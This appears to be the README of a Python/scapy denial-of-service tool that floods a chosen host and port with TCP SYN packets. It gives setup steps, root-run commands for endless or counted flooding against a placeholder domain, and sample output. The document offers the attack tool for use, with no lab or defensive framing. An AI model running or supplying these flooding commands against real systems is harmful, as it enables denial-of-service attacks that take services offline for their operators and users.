TCPSYNFlood

TCP/SYN Flooding

Script to send SYN packages (via TCP) to specific target and port. Optional to set maximum number of packages.

Prepare environment

• you can use Python virtualenv
• Python3.x is needed
• root rights required (or via sudo)

# install needed packages
$ sudo apt install python3-pip python3-venv
# or
$ sudo pip3 install virtualenv

# create and change into Project directory
$ mkdir -p ~/Projects/TCPSYNFlood && cd ~/Projects/TCPSYNFlood

# create virtualenv
$ virtualenv -p python3 venv
# or
$ python3 -m venv venv

# activate virtualenv
$ . venv/bin/activate

# install requirements
(venv) $ pip install -r requirements.txt
# or
(venv) $ pip install scapy

# list packages (optional)
(venv) $ pip freeze

# make file executable
(venv) $ chmod u+x TCPSYNFlood.py

Run TCP/SYN Flooder

just run it...

# show help (optional)
(venv) $ sudo venv/bin/python ./TCPSYNFlood.py --help

# start infinite flooding
(venv) $ sudo venv/bin/python ./TCPSYNFlood.py mydomain.tld -p 443

# send 25 packages
(venv) $ sudo venv/bin/python ./TCPSYNFlood.py mydomain.tld -p 443 -c 25

to interrupt press [CTRL + c]

Example output

some example from my terminal...

Send 5 packages to port 80 on target mydomain.tld
Send package 0
Send package 1
Send package 2
Send package 3
Send package 4
All 5 packets successfully sent.

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